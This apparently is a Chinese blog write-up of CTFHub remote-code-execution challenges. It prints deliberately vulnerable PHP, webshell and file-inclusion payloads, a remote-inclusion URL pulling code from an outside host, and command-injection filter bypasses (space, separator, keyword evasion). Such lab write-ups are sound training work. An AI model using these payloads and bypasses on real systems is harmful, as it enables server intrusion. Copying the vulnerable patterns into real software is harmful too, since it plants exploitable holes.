首页 > 其他分享 >Web安全基础 - RCE CTFHub

Web安全基础 - RCE CTFHub

时间:2022-11-27 07:00:09浏览次数:38  
标签:Web shell CTFHub cat ctfhub flag 过滤 RCE php

Web安全基础 - RCE CTFhub

题目来自CTFHub,Web方向技能树Rce部分https://www.ctfhub.com/#/skilltree

基本介绍

远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码。
为了实现特定效果,后台有时候也会把用户的输入作为代码的一部分进行执行,服务器没有针对执行函数做过滤就执行命令时就会产生该漏洞。

php可能产生RCE的常见函数:
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()

eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

$_REQUEST既可以接收get参数,又可以接受post参数。

eval函数可以执行php代码,直接写一句话木马
http://challenge-8f3b358611f6002d.sandbox.ctfhub.com:10800/?cmd=$_POST[%22cmd%22]
image
doughnuts连接成功
在目录简单找一下就能发现flag,一般都在根目录
image

文件包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
i have a <a href="shell.txt">shell</a>, how to use it ?
i have a shell, how to use it ?

题目给出了shell.txt,不用再写一句话木马了,我们包含一下。
image
根目录下cat flagctfhub{4b4829e63f7df5d8916a07a9}

php://input

php://input是php语言中一个只读的数据流;通过"php://input",可以读取从Http客户端以POST方式提交、请求头“Content-Type”值非"multipart/form-data"的所有数据;"php://input"一般用来读取POST上来,除已被处理以外的剩余数据。

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo

可以发现这里的phpinfo其实是include包含的内容。
在hackbar内直接POST无法得到命令执行的结果,使用BurpSuite可以,不知为何。
这里使用HackBar进行post请求,在BurpSuite内添加<?php systeam("ls /"); ?>
重复上述,添加上<?php systeam("cat flag_6452"); ?>
image

读取源代码

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
i don't have shell, how to get flag?
flag in /flag

这两道题目其实是考察了php伪协议的知识点,具体可以参考https://segmentfault.com/a/1190000018991087
在CTF中,我们经常通过php://filter来读取源码,php://input来执行php代码。

image
payload:http://challenge-472c4ff336f650c4.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag
image

远程包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo

和文件包含那道题类似,但是这里没有给我们直接可以执行的webshell,因为是RFI,所以我们向另一个服务器上上传再构造payload即可。
http://challenge-a05e7408f6523c66.sandbox.ctfhub.com:10800/?file=http:/xxx:81/upload/eval.php

命令注入

无过滤注入
我们使用;或者|运算符,ls确定文件;ls -l然后;cat 245262950117066.php|base64
这里直接cat没有回显,推测是输出被浏览器解释为注释,转换为base64发现回显,或者用F12查看页面源码也可以发现回显(快做完了才发现
解密后得到

过滤cat

思路和上一题一样,先看有没有文件

(!preg_match_all("/cat/", $ip, $m))

这里只过滤了cat,我们还有很多其他指令可以达到类似效果head,tail,more,less,tac,sed,vi,vim,grep,od,sort,uniq,file -f,nl
payload:|head flag_xxx.php |base64
ctfhub{92f1d0742dee48139e82b483}

过滤空格

空格过滤可以使用linux下的$IFS$9来代替

常见的空格绕过符号有:
$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、

payload:;cat$IFS$9flag_2798498929898.php|base64

过滤目录分隔符

这次flag在一个叫flag_is_here的文件夹里,不使用/即可;cd flag_is_here;cat *|base64
回显如下:
Array
(
[0] => PD9waHAgLy8gY3RmaHViezFiYTJhMDFhMGIwNmZlZGFiNzZkNmY4Nn0K
)
ctfhub{1ba2a01a0b06fedab76d6f86}

过滤运算符

过滤了(||&)几种运算符
不使用管道运算符接口
payload:
1 : ;ls 2 : ;base64 flag_140863035031052.php > a 3 : ;cat a

综合过滤练习

过滤了(||&|;| |/|cat|flag|ctfhub)
利用linux下一类少见的命令分隔符:%0a、%0d、%0D%0A,其实也就是回车和换行来分割ping。
字符串的过滤可以利用十六进制编码或者\和'等符号来绕过
这道题直接在输入框里面输入的话%会被url编码为%25,所以直接构造url即可。
http://challenge-e6c4aa017ced01ae.sandbox.ctfhub.com:10800/?ip=%0Acd$IFS$9f\lag_is_here%0Abase64$IFS$9fl\ag_211411285528280.php%3Ea
image

总结

总的来说这套题目相对简单,没有很偏很怪的考点但是也不是特别全面,比如这篇里的内容很多就没有考察到(
还是要做更多题才能让自己的知识体系更全面。

标签:Web,shell,CTFHub,cat,ctfhub,flag,过滤,RCE,php
From: https://www.cnblogs.com/sanyic/p/16928906.html

相关文章

  • Web安全基础 - LFI Labs
    Web安全基础-LFILabs本实验来自于https://github.com/paralax/lfi-labs做到一半了才发现BUUCTF上有,可以参考本篇做一下更有成就感CMDCMD-1该关卡直接执行Get方法cm......
  • Codeforces Round #739 (Div. 3) F1
    F1.NearestBeautifulNumber(easyversion)很像网络赛北大出的那题感觉这题是简化版我们只需要把所有数都搞出来然后二分即可我们先枚举k1的情况这个很简单先枚......
  • 从NodeSource存储库安装Node.js和npm
    参考:​​https://github.com/nodesource/distributions​​安装说明:Node.jsv19.x:1、Debian系统,登录rootcurl-fsSL​https://deb.nodesource.com/setup_19.x​​|bash......
  • 『题解』Codeforces 808D Array Division
    题目传送门解题思路首先统计\(n\)个数字和为\(sum\),那么一半就是\(sum=sum\div2\)从\(1\)到\(n\)枚举,累计进前缀和\(ans\)中,如果发现第\(i\)个数字累......
  • 『题解』Codeforces 1743A Password
    Problem现有\(4\)位密码,满足以下条件:给定数位的集合\(S\),密码中没有用到这些数位。密码中恰好包含两个数位,每个数位出现了两次。求符合条件的密码个数。Solution......
  • 『题解』Codeforces 1742C Stripes
    Problem在\(8\times8\)的网格上,轮流染上红色和蓝色。红色只能染一整行。蓝色只能染一整列。问最后用的是哪种颜色。Solution题目说明了至少会染一个条纹,所以我......
  • canvas绘制手写签名【移动端+web】--支持下载
    一个简单的实例<head><metacharset="UTF-8"><metahttp-equiv="X-UA-Compatible"content="IE=edge"><metaname="viewport"content="width=device-widt......
  • 『题解』Codeforces 1702A Round Down the Price
    题意这道题其实就是让你求出当前数字与\(10\)的整数幂次的差值(注意不能向上取,只能向下取)。而且题目也标注了\(1\lek\le9\),所以我们可以让\(i\)从\(0\sim9\)......
  • Codeforces Round #836 (Div. 2) A-D
    比赛链接A题意给一个字符串\(s\),对其加倍,即每个字符后面追加一个相同字符。加倍后可以重排列,要求构造一个回文串。题解知识点:构造。既然可以重排列了,那顺序是随意......
  • web系统添加盲水印
    前言为增加系统安全性,避免重要敏感信息通过截图方式泄露,对web页面增加盲水印标识,标注系统名称,登陆人,当前时间等信息,这里的盲水印指肉眼不可见的html水印增加水印引入wate......